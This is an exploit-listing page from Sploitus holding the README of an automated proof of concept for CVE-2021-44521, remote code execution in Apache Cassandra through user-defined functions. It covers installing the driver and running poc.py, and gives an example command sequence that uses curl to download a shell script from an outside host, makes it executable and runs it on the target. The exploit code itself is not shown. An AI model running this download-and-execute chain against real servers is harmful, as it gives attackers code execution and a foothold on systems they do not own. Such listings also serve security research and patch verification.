Sploitus

Exploit for Incorrect Permission Assignment for Critical Resource in Apache Cassandra

githubexploit Β· 2022-02-24

Exploit Code

README20 lines
## https://sploitus.com/exploit?id=6C1081C5-7938-5E83-9079-719C1B071FB5
# CVE-2021-44521
Automated PoC of CVE-2021-44521
Credits to original poc: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
# Requirements
Cassandra-driver
```bash
pip3 install cassandra-driver
```
# Usage
```bash
python3 poc.py  
```
Note that you can't do more command at a time, neither use pipes as of yet.
So run 
```bash
pyhon3 poc.py  "curl http:///shell.sh -o /tmp/shell.sh"
python3 poc.py  "chmod +x /tmp/shell.sh"
python3 poc.py  "/tmp/shell.sh"
```